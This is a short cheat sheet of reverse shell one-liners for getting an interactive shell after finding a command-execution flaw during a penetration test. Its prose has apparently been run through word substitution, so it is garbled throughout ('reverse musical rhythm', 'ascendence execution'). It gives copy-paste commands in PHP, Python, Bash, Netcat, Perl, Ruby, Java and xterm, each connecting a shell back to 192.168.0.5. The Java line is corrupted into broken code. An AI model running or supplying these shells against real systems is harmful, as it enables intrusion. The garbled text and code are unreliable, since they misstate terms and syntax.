Reverse Musical Rhythm Cheat Sheet
If you’re lucky plenty to uncovering a ascendence execution vulnerability during a penetration test, pretty shortly after you’ll belike desire an interactive shell.
If it’s non possible to add together a novel concern human relationship / SSH telephone substitution / .rhosts file as well as only log in, your side past times side pace is probable to move either trowing dorsum a reverse musical rhythm or binding a musical rhythm to a TCP port. This page deals amongst the former.
Your options for creating a contrary musical rhythm are express past times the scripting languages installed on the target organisation – though yous could belike upload a binary programme also if you’re suitably good prepared.
The examples shown are tailored to Unix-like systems. Some of the examples below should also spill out Windows if yous role substitute “/bin/sh -i” amongst “cmd.exe”.
Each of the methods below is aimed to move a one-liner that yous tin flame copy/paste. As such they’re quite brusk lines, but non really readable.
Php :
php -r '$sock=fsockopen("192.168.0.5",4444);exec("/bin/sh -i <&3 >&3 2>&3");'Python :
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'Bash :
bash -i >& /dev/tcp/192.168.0.5/4444 0>&1Netcat :
nc -e /bin/sh 192.168.0.5 4444Perl :
perl -e 'use Socket;$i="192.168.0.5";$p=4545;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'Ruby :
ruby -rsocket -e'f=TCPSocket.open("192.168.0.5",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'Java :
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.0.5/4444;cat <&5 | spell read line; create \$line 2>&5 >&5; done"] every bit String[]) p.waitFor()xterm :
xterm -display 192.168.0.5:4444